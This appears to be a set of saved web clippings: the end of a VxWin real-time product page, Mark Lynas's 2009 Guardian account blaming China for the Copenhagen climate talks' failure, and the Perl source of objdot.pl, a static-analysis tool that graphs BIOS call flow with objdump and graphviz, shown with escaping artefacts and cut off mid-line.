    * Drivers for field bus, measurement hardware
    * and many more
  * Powerful, graphical real-time analysis tools 
    * WindView, StethoScope
  * Comprehensive documentation 
    * HTML, newsgroup

  
---  
|

# VxWin® benefits

  * No additional hardware costs to integrate VxWorks® application into aWidows-based environment
  * No need for separate control hardware or intelligent co-processor boards
  * Drastically increased MTBF due to less system components
  * Helps reducing size and weight of the total system
  * Reduced Software Costs
  * Fast learning curve; known development tools 
    * Visual Studio
    * Tornado
  * Re-use of existing Windows® or VxWorks® software and know-how
  * Non proprietary real-time extension
  * Remote debug fully supported
  * Product Scalability
  * Use of the same VxWorks® application in an embedded system, e.g. with XScale architecture

  
---  
|

# How to work with VxWin®?

  * Use the Tornado development environment, not only to edit/compile but also to debug your VxWorks® applications.
  * Develop and test your software alternatively on the same PC or remote.
  * Just start and stop VxWorks after booting Windows® by using the Uploader Tool.
  * Communication between Windows® XP and VxWorks® via
  *     * shared memory or
    * TCP/IP over a virtual network connection.

  
---  
|

# New: VxWin Version 3.5

  * Dual-Core Systems: VxWorks® now able to use the second CPU Core exclusively
  * Interrupt-Latencies below 5 usec\!
  * Automatic detection of interrupt conflicts
  * VxWorks® 5.4 .. 6.5

  
---

# How do I know China wrecked the Copenhagen deal? I was in the room | Mark Lynas | Environment | The Guardian
**Created:**| _12/24/2009 11:41:40 AM_  
---|---  
**Updated:**| _12/24/2009 11:41:46 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# How do I know China wrecked the Copenhagen deal? I was in the room

As recriminations fly post-Copenhagen, one writer offers a fly-on-the-wall
account of how talks failed  
  
• Ed Miliband: China tried to hijack climate deal  
• The key players and how they rated

  * Buzz up\!
  * Digg it

  * <img src='img/Temp2_4061.jpg' width='60' height='60' alt='Mark Lynas' />
  *     * Mark Lynas
    * guardian.co.uk, Tuesday 22 December 2009 19.54 GMT

<img src='img/Temp2_4062.jpg' width='460' height='276' alt='A woman listens to
Barack Obama's speech at Copenhagen climate change conference 18 December
2009' />

A woman listens to Barack Obama's speech at the Copenhagen climate change
conference on 18 December. Photograph: Axel Schmidt/AFP/Getty Images

Copenhagen was a disaster. That much is agreed. But the truth about what
actually happened is in danger of being lost amid the spin and inevitable
mutual recriminations. The truth is this: China wrecked the talks,
intentionally humiliated Barack Obama, and insisted on an awful "deal" so
western leaders would walk away carrying the blame. How do I know this?
Because I was in the room and saw it happen.

China's strategy was simple: block the open negotiations for two weeks, and
then ensure that the closed-door deal made it look as if the west had failed
the world's poor once again. And sure enough, the aid agencies, civil society
movements and environmental groups all took the bait. The failure was "the
inevitable result of rich countries refusing adequately and fairly to shoulder
their overwhelming responsibility", said Christian Aid. "Rich countries have
bullied developing nations," fumed Friends of the Earth International.

All very predictable, but the complete opposite of the truth. Even George
Monbiot, writing in yesterday's Guardian, made the mistake of singly blaming
Obama. But I saw Obama fighting desperately to salvage a deal, and the Chinese
delegate saying "no", over and over again. Monbiot even approvingly quoted the
Sudanese delegate Lumumba Di-Aping, who denounced the Copenhagen accord as "a
suicide pact, an incineration pact, in order to maintain the economic
dominance of a few countries".

Sudan behaves at the talks as a puppet of China; one of a number of countries
that relieves the Chinese delegation of having to fight its battles in open
sessions. It was a perfect stitch-up. China gutted the deal behind the scenes,
and then left its proxies to savage it in public.

Here's what actually went on late last Friday night, as heads of state from
two dozen countries met behind closed doors. Obama was at the table for
several hours, sitting between Gordon Brown and the Ethiopian prime minister,
Meles Zenawi. The Danish prime minister chaired, and on his right sat Ban Ki-
moon, secretary-general of the UN. Probably only about 50 or 60 people,
including the heads of state, were in the room. I was attached to one of the
delegations, whose head of state was also present for most of the time.

What I saw was profoundly shocking. The Chinese premier, Wen Jinbao, did not
deign to attend the meetings personally, instead sending a second-tier
official in the country's foreign ministry to sit opposite Obama himself. The
diplomatic snub was obvious and brutal, as was the practical implication:
several times during the session, the world's most powerful heads of state
were forced to wait around as the Chinese delegate went off to make telephone
calls to his "superiors".

**Shifting the blame**

To those who would blame Obama and rich countries in general, know this: it
was China's representative who insisted that industrialised country targets,
previously agreed as an 80% cut by 2050, be taken out of the deal. "Why can't
we even mention our own targets?" demanded a furious Angela Merkel.
Australia's prime minister, Kevin Rudd, was annoyed enough to bang his
microphone. Brazil's representative too pointed out the illogicality of
China's position. Why should rich countries not announce even this unilateral
cut? The Chinese delegate said no, and I watched, aghast, as Merkel threw up
her hands in despair and conceded the point. Now we know why – because China
bet, correctly, that Obama would get the blame for the Copenhagen accord's
lack of ambition.

China, backed at times by India, then proceeded to take out all the numbers
that mattered. A 2020 peaking year in global emissions, essential to restrain
temperatures to 2C, was removed and replaced by woolly language suggesting
that emissions should peak "as soon as possible". The long-term target, of
global 50% cuts by 2050, was also excised. No one else, perhaps with the
exceptions of India and Saudi Arabia, wanted this to happen. I am certain that
had the Chinese not been in the room, we would have left Copenhagen with a
deal that had environmentalists popping champagne corks popping in every
corner of the world.

**Strong position**

So how did China manage to pull off this coup? First, it was in an extremely
strong negotiating position. China didn't need a deal. As one developing
country foreign minister said to me: "The Athenians had nothing to offer to
the Spartans." On the other hand, western leaders in particular – but also
presidents Lula of Brazil, Zuma of South Africa, Calderón of Mexico and many
others – were desperate for a positive outcome. Obama needed a strong deal
perhaps more than anyone. The US had confirmed the offer of $100bn to
developing countries for adaptation, put serious cuts on the table for the
first time \(17% below 2005 levels by 2020\), and was obviously prepared to up
its offer.

Above all, Obama needed to be able to demonstrate to the Senate that he could
deliver China in any global climate regulation framework, so conservative
senators could not argue that US carbon cuts would further advantage Chinese
industry. With midterm elections looming, Obama and his staff also knew that
Copenhagen would be probably their only opportunity to go to climate change
talks with a strong mandate. This further strengthened China's negotiating
hand, as did the complete lack of civil society political pressure on either
China or India. Campaign groups never blame developing countries for failure;
this is an iron rule that is never broken. The Indians, in particular, have
become past masters at co-opting the language of equity \("equal rights to the
atmosphere"\) in the service of planetary suicide – and leftish campaigners
and commentators are hoist with their own petard.

With the deal gutted, the heads of state session concluded with a final battle
as the Chinese delegate insisted on removing the 1.5C target so beloved of the
small island states and low-lying nations who have most to lose from rising
seas. President Nasheed of the Maldives, supported by Brown, fought valiantly
to save this crucial number. "How can you ask my country to go extinct?"
demanded Nasheed. The Chinese delegate feigned great offence – and the number
stayed, but surrounded by language which makes it all but meaningless. The
deed was done.

**China's game**

All this raises the question: what is China's game? Why did China, in the
words of a UK-based analyst who also spent hours in heads of state meetings,
"not only reject targets for itself, but also refuse to allow any other
country to take on binding targets?" The analyst, who has attended climate
conferences for more than 15 years, concludes that China wants to weaken the
climate regulation regime now "in order to avoid the risk that it might be
called on to be more ambitious in a few years' time".

This does not mean China is not serious about global warming. It is strong in
both the wind and solar industries. But China's growth, and growing global
political and economic dominance, is based largely on cheap coal. China knows
it is becoming an uncontested superpower; indeed its newfound muscular
confidence was on striking display in Copenhagen. Its coal-based economy
doubles every decade, and its power increases commensurately. Its leadership
will not alter this magic formula unless they absolutely have to.

Copenhagen was much worse than just another bad deal, because it illustrated a
profound shift in global geopolitics. This is fast becoming China's century,
yet its leadership has displayed that multilateral environmental governance is
not only not a priority, but is viewed as a hindrance to the new superpower's
freedom of action. I left Copenhagen more despondent than I have felt in a
long time. After all the hope and all the hype, the mobilisation of thousands,
a wave of optimism crashed against the rock of global power politics, fell
back, and drained away.

  * <img src='img/Temp2_4057.jpg' alt='Print this' />
  * <img src='img/Temp2_4056.jpg' />
  * <img src='img/Temp2_4065.jpg' />
  * <img src='img/Temp2_4060.jpg' />
  * <img src='img/Temp2_4067.jpg' />
  * <img src='img/Temp2_4063.jpg' /> larger | smaller

### Environment

  * Copenhagen climate change conference 2009·
  * Climate change ·
  * Carbon emissions ·
  * Activism

### World news

  * China

### More comment

  * More on Copenhagen 
Copenhagen accord: final text

Framework convention on climate change

  * <img src='img/Temp2_4059.jpg' width='140' height='84' alt='Ed Miliband gestures during a press briefing at the UN climate summit in Copenhagen' />
Ed Miliband: China tried to hijack Copenhagen climate deal

Climate secretary accuses China, Sudan, Bolivia and other leftwing Latin
American countries of trying to hijack Copenhagen

  * China's quiet satisfaction at tough tactics and goalless draw
Foreign minister, Yang Jiechi, describes outcome as 'significant and positive'
despite accusations China had systematically wrecked the negotiating process

  * <img src='img/Temp2_4066.jpg' width='140' height='84' alt='21.12.09: Martin Rowson on the outcome of the Copenhagen summit' />
China blamed as anger mounts over climate deal

Cartoon: Ed Miliband 'helped rescue summit', but campaigners say accord 'a
disaster'

  * <img src='img/Temp2_4068.jpg' width='140' height='84' alt='COP15 Britain's Prime Minister Gordon Brown ' />
Copenhagen treaty was 'held to ransom', says Gordon Brown

Gordon Brown calls for reform of UN climate talks after Copenhagen talks end
in weak agreement

  * <img src='img/Temp2_4058.jpg' width='140' height='84' alt='Copenhagen leaders' />
Copenhagen: The key players and how they rated

Agreement brokered by Barack Obama has faced criticism, but participants are
portraying it as a victory

  * <img src='img/Temp2_4064.jpg' width='140' height='84' alt='Activists demonstrate outside the Bella Center in Copenhagen, 19 Dec 2009' />
Copenhagen climate deal: Spectacular failure - or a few important steps?

We ask leading climate change experts for their assessment of the Copenhagen
deal

  * If you want to know who's to blame for Copenhagen, look to the US Senate
**George Monbiot:** Obama's attempt to put China in the frame for failure had
its origins in the absence of American campaign finance reform

Related

##### 23 Dec 2009

China fears climate change openness | John Lee
##### 7 Dec 2009

Jonathan Watts on China's science minister suggesting 2030-2040 for carbon
emissions peak

##### 26 Nov 2009

Copenhagen conference: Chinese PM Wen Jiabao to attend climate talks

##### 18 Nov 2009

Greenpeace chief urges Obama to use 'political capital' to agree climate deal

  

# objdot.pl at master from mazzoo's objdot - GitHub

**Created:**| _1/13/2011 3:32:23 PM_  
---|---  
**Updated:**| _1/13/2011 3:32:47 PM_  
**Author:**| __  
**Tags:**| _perl reversing Graphs_  
  

  

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    420
    421
    422
    423
    424
    425
    426
    427
    428
    429
    430
    431
    432
    433
    434
    435
    436
    437
    438
    439
    440
    441
    442
    443
    444
    445
    446
    447
    448
    449
    450
    451
    452
    453
    454
    455
    456
    457
    458
    459
    460
    461
    462
    463
    464
    465
    466
    467
    468
    469
    470
    471
    472
    473
    474
    475
    476
    477
    478
    479
    480
    481
    482
    483
    484
    485
    486
    487
    488
    489
    490
    491
    492
    493
    494
    495
    496
    497
    498
    499
    500
    501
    502
    503
    504
    505
    506
    507
    508
    509
    510
    511
    512
    513
    514
    515
    516
    517
    518
    519
    
    
[/code]

|  \#\!/usr/bin/perl -w \#
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
\# \# objdot.pl \- generate callflow graphs through static analysis \# using
objdump and dot/graphviz \# \# \# by Matthias Wenzel a.k.a. mazzoo in 2010 \#
\# \# software license: GPLv3 \#
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
  
  
\#use strict; \# FIXME someone tell me how to use \# function pointer tables
strict  
use feature "switch"; use File::stat;  
\#$| = 1;  
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
\# \# tweak some or most of these settings below \#
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
\# arch \# x86\_syntax \# x86\_mode \# arm\_mode \# these determine your CPU
architecture, disassembler syntax and \# real/protected mode \(x86\),
thumb/32bit \(arm\) etc.  
my $arch = "i386"; \# i386 for now, arm tbd  
my $x86\_syntax = "att"; \# intel or att  
my $x86\_mode = "16"; \# cpu mode 16/32 bit at startup  
my $arm\_mode = "thumb"; \# cpu mode 16/32 bit at startup  
\# start\_offset : file offset at which disassembly starts \# negative means
offset from the end of the file \# e.g. for a x86 BIOS you'd say -16 here
\(x86 reset vector \# \#my $start\_offset = -0x10; \# reset vector is 16 bytes
before end my $start\_offset = 3; \# for PCI option ROMs \(e.g. a Video BIOS\)  
  
\# disassembler - tweak objdump to your needs here...  
my $dis\_basic = "objdump -D -m $arch -b binary ";  
my $dis = $dis\_basic; $dis .= " -M $x86\_syntax " if \($arch eq "i386"\);
$dis .= " -M data16,addr16 " if \($x86\_mode == "16"\);  
my @bb; \# array of building blocks. each entry contains \# - start\_addr of
the block \# - addr\_next last address +1 of that bb - currently unused \# -
cpu mode \# - list of mnemonics for that bb \# - list of hex opcodes for that
mnemonic \# - list of successors of this bb \(can have zero, one or two
entries\)  
my $min\_disassembly\_bytes = 0x1000;  
  
\# CPU mode detection is crappy. very crappy. \# here with %toggle\_cpu\_mode
you can mark bb where the detection \# has gone wrong \(only list the root bb
that was detected wrong - \# subsequent branches will be toggled implicitely\)  
my %toggle\_cpu\_mode = \( \# 0x7f82c => "1", \# 0x7f87d => "1", \# 0x7fafc =>
"1", \# 0x7fb2e => "1", \);  
  
\# the automated static analysis herein often doesn't find all bb \# \(we run
no simulation\) but by reading the code humans often find \# more and more
start addresses for bb. list them here iteratively.  
my @extra\_bb = \( \# \[0x7f860, "32"\], \# \[0x7f8ee, "32"\], \# \[0x7fbe7,
"32"\], \# \[0x7fbf7, "32"\], \# \[0x7fc01, "32"\], \# \[0x7f8f8, "32"\], \#
\[0x7f922, "32"\], \# \[0x7f92c, "32"\], \);  
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
\# \# end of tweakables \#
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
my $file\_name; my $file\_size = 0;  
my %have\_bb\_for\_addr;  
sub split\_bb\($$\) \{ my $index = shift; my $split\_addr = shift;  
my @old\_bb = splice\(@bb, $index, 1\);  
my $cpu\_mode = $old\_bb\[0\]\[2\]; my $this\_bb\_ops = $old\_bb\[0\]\[3\];  
my $op; my $op\_count = 0; foreach $op \(@$this\_bb\_ops\) \{ last if
@$op\[0\] == $split\_addr; $op\_count++; \}  
if \($op\_count == $\#$this\_bb\_ops + 1\) \{ print "l33t binary jumps into
middle of opcodes\n"; \# push back original bb push @bb, @old\_bb; \# add new
address push @extra\_bb, \[ $split\_addr, $cpu\_mode \]; return; \}  
$have\_bb\_for\_addr\{$split\_addr\} = 1;  
my @bb\_ops\_1st = splice\(@$this\_bb\_ops, 0, $op\_count\); my @bb\_ops\_2nd
= @$this\_bb\_ops;  
my @successors\_1st = \($bb\_ops\_2nd\[0\]\[0\]\); my $successors\_2nd =
$old\_bb\[0\]\[4\];  
my @bb\_1st = \[ \($old\_bb\[0\]\[0\], $split\_addr, $cpu\_mode,
\[@bb\_ops\_1st\], \[@successors\_1st\] \) \]; my @bb\_2nd = \[
\($split\_addr, $old\_bb\[0\]\[1\], $cpu\_mode, \[@bb\_ops\_2nd\],
\[@$successors\_2nd\] \) \];  
push @bb, @bb\_1st; push @bb, @bb\_2nd; \}  
sub we\_have\_bb\_for\_addr\($\) \{ my $a = shift;  
\# cache of existing bb return 1 if \(exists $have\_bb\_for\_addr\{$a\}\);  
my $i; for $i \( 0 .. $\#bb \) \{ if \( \( hex\($bb\[$i\]\[0\]\) < hex\($a\)
\) && \( hex\($a\) < hex\($bb\[$i\]\[1\]\) \) \) \{ split\_bb\($i, $a\);
return 1; \} \} return 0; \}  
\# functions for calculating dest addresses sub first\_match\($$$$\) \{ my
$addr\_next = shift; my $a0 = shift; if \(\!$a0\) \{ print "FIXME\n"; return
0; \} my $result = hex\($a0\); $result &= $file\_size-1; return $result; \}  
sub addr\_segment\_offset\($$$$\) \{ my $addr\_next = shift; my $a0 = shift;
my $a1 = shift; my $result = 0; if \(\!$a0\) \{ print "FIXME\n"; \} if
\(\!$a1\) \{ print "FIXME\n"; \} \# gate A20 stuph if \($x86\_mode == "16"\)
\{ $result = hex\($a0\) \* 0x10 + hex\($a1\); $result &= 0xfffff; \# but don't
leave the current segment $result += $addr\_next & 0xfff00000; \} if
\($x86\_mode == "32"\) \{ $result = hex\($a0\) \* 0x10000 + hex\($a1\); \}
$result &= $file\_size - 1; return $result; \}  
sub addr\_next\($$$$\) \{ my $addr\_next = shift; return $addr\_next; \}  
\# FLAG definitions for opcodes: \# \# FLAG\_JCC - e.g. conditional jump -
next addr is a new bb \# FLAG\_CALL - e.g. call - next addr is a new bb, uses
stack \# FLAG\_JUMP - e.g. jmp - next addr is not used \# FLAG\_FINAL - e.g.
hlt - no subsequent opcodes \# FLAG\_MODE - e.g. mov 1,%cr0 - switch to 32bit
protected mode \# FLAG\_FIXME - e.g. something that is not yet fully supported
in objdot  
my $FLAG\_JCC = 0x0001; my $FLAG\_CALL = 0x0002; my $FLAG\_JUMP = 0x0004; my
$FLAG\_FINAL = 0x0008; my $FLAG\_MODE = 0x0010; my $FLAG\_FIXME = 0x8000;  
\# @ops\_x86\_att\_16 - list of opcodes that terminate a bb \# opcode
\(regex\), \# FLAG\(s\), \# regex for extracting parameters, \# function name
calculating addr\_dest  
my @ops\_x86\_att\_16 = \( \["call", $FLAG\_CALL,
"\[^:\]0x\(\[a-fA-F0-9\]+\)", "first\_match"\], \["lcall", $FLAG\_CALL, "",
\], \["int", $FLAG\_CALL, "", \], \["ja", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jae", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jb", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jbe", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jc", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jcxz", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jecxz", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["je", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jg", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jge", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jl", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jle", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jna", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnae", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnb", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnbe", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnc", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jne", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jng", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnge", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnl", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnle", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jno", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnp", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jns", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jnz", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jo", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jp", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jpe", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jpo", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["js", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jz", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["loop\\\s", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["loope\\\s", $FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["loopne\\\s",$FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["loopnz\\\s",$FLAG\_JCC, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["jmp\\\s", $FLAG\_JUMP, "0x\(\[a-fA-F0-9\]+\)",
"first\_match"\], \["ljmp\\\s", $FLAG\_JUMP,
"0x\(\[a-fA-F0-9\]+\),.\*0x\(\[a-fA-F0-9\]+\)", "addr\_segment\_offset"\],
\["ljmpl\\\s", $FLAG\_JUMP, "", \], \["ljmpw\\\s", $FLAG\_JUMP,
"0x\(\[a-fA-F0-9\]+\),.\*0x\(\[a-fA-F0-9\]+\)", "addr\_segment\_offset"\],
\["iret", $FLAG\_FINAL, "", \], \["lret", $FLAG\_FINAL, "", \], \["ret",
$FLAG\_FINAL, "", \], \["hlt", $FLAG\_FINAL, "", \], \["\\\\\(bad\\\\\)",
$FLAG\_FINAL,"", \], \["mov.\*,%cr0", $FLAG\_MODE, ".\*", "addr\_next"\], \);  
sub is\_jmp\($\) \{ my $mnemo = shift;  
my $jmp\_ref; for $jmp\_ref \(@ops\_x86\_att\_16\) \{ my $pattern =
"@$jmp\_ref\[0\]"; if \( $mnemo =~ /^$pattern/ \) \{ return @$jmp\_ref; \} \}  
return \(\); \}  
sub switches\_cpu\_mode\($\) \{ my $mnemo = shift;  
my $bb\_mode = $x86\_mode;  
if \( $mnemo =~ /^mov.\*,%cr0/ \) \{ if \($bb\_mode == "16"\) \{ $bb\_mode =
"32"; \}else\{ $bb\_mode = "16"; \} print "new CPU mode $bb\_mode bit\n";
return $bb\_mode; \} return 0; \}  
sub do\_next\_bb\($$\); sub do\_next\_bb\($$\) \{ my $start\_addr = shift;
$x86\_mode = shift;  
return if \(we\_have\_bb\_for\_addr\($start\_addr\)\);
$have\_bb\_for\_addr\{$start\_addr\} = 1;  
if \(exists $toggle\_cpu\_mode\{$start\_addr\}\)\{ if \($x86\_mode == "16"\)
\{ $x86\_mode = "32"; \}else\{ $x86\_mode = "16"; \} \}  
$dis = $dis\_basic; $dis .= " -M $x86\_syntax " if \($arch eq "i386"\); $dis
.= " -M data16,addr16 " if \($x86\_mode == "16"\);  
my $stop\_addr = $start\_addr + $min\_disassembly\_bytes; my $cmd = "$dis
--start-addr=$start\_addr --stop-addr=$stop\_addr $file\_name";  
\#print "$cmd\n";  
open DIS, "$cmd|" or die "can't run $cmd: $\!\n";  
print "\n";  
my @this\_bb = \(\); my @this\_bb\_ops = \(\); my @successors = \(\); while
\(<DIS>\) \{ if \(/^\(\[ 0-9a-fA-F\]+\):\t\(\[ 0-9a-fA-F\]+\)\t\(.\*\)$/\) \#
a mnemonic after all \{ my $addr = $1; my $hexop = $2; my $mnemo = $3;  
\# strip leading and trailing whitespaces $addr =~ s/\s+//; $hexop =~
s/^\s+//; $hexop =~ s/\s+$//; $mnemo =~ s/^\s+//; $mnemo =~ s/\s+$//; $addr =
hex\($addr\);  
printf "0x%8.8x :: %-35s | %s\n", $addr, $mnemo, $hexop;   
push @this\_bb\_ops, \[ \($addr, $hexop, $mnemo\) \];  
my @op\_type; if \(@op\_type = is\_jmp\($mnemo\)\) \{ close DIS; my
$addr\_next; my @hexop\_array = split\(/ /, $hexop\); $addr\_next = $addr +
$\#hexop\_array + 1;  
if \(\($op\_type\[1\] & $FLAG\_CALL\) || \($op\_type\[1\] & $FLAG\_JCC \) ||
\($op\_type\[1\] & $FLAG\_MODE\) \) \{ push @successors, $addr\_next; \} if
\(\!\($op\_type\[1\] & $FLAG\_FINAL\)\) \{ if \($mnemo =~ /$op\_type\[2\]/\)
\{ my $addr\_dest = $op\_type\[3\]->\($addr\_next, $1, $2, $3\); push
@successors, $addr\_dest; \}else\{ print "FIXME\n"; \# lets add that FIXME to
the opcode... pop @this\_bb\_ops; $mnemo .= " FIXME"; push @this\_bb\_ops, \[
\($addr, $hexop, $mnemo\) \]; \} \} my $new\_mode = $x86\_mode; if
\($op\_type\[1\] & $FLAG\_MODE\) \{ $new\_mode =
switches\_cpu\_mode\($mnemo\); if \($new\_mode\) \{ pop @this\_bb\_ops; $mnemo
.= " new CPU mode $new\_mode"; push @this\_bb\_ops, \[ \($addr, $hexop,
$mnemo\) \]; \}else\{ $new\_mode = $x86\_mode; \} \}  
push @bb, \[ \($start\_addr, $addr\_next, $x86\_mode, \[@this\_bb\_ops\],
\[@successors\] \) \];  
for \(@successors\) \{ do\_next\_bb\($\_, $new\_mode\); \} return; \} \} \# a
mnemonic after all \} \# while \(<DIS>\) \}  
sub dump\_dot\_file\(\) \{ my $dot\_file\_name = $file\_name . ".dot"; open
\(DOT, ">$dot\_file\_name"\) or die\("can't open $dot\_file\_name:$\!"\);  
my $header\_file\_name = $file\_name; $header\_file\_name =~ s/\\./\_/g;
$header\_file\_name =~ s/-/\_/g;  
printf DOT "digraph $header\_file\_name \{\n"; printf DOT "\tgraph
\[fontsize=10 size=\"180,180\"\];\n";  
my $i; for $i \( 0 .. $\#bb \) \{ my $this\_bb\_ops = $bb\[$i\]\[3\]; my
$successors = $bb\[$i\]\[4\];  
printf DOT "\tbb\_0x%4.4x \[shape=box\];\n", $bb\[$i\]\[0\];  
my $ops = ""; my $op; foreach $op \(@$this\_bb\_ops\) \{ @$op\[2\] =~
s/FIXME/<font color="red">FIXME<\/font>/g; @$op\[2\] =~ s/\(new CPU mode
.\*\)/<font color="green">$1<\/font>/g; $ops = sprintf "%s<tr><td
align=\"left\"><font face=\"Courier\">0x%4.4x: %s</font></td><td
align=\"left\"><font point-size=\"8\" face=\"Courier\">%s</font></td></tr>",
$ops, @$op\[0\], @$op\[2\], @$op\[1\]; \}  
printf DOT "\tbb\_0x%4.4x \[label=<<table border=\"0\"
cellborder=\"0\"><tr><td bgcolor=\"grey\" align=\"center\"
colspan=\"2\">0x%4.4x <font color=\"blue\" point-
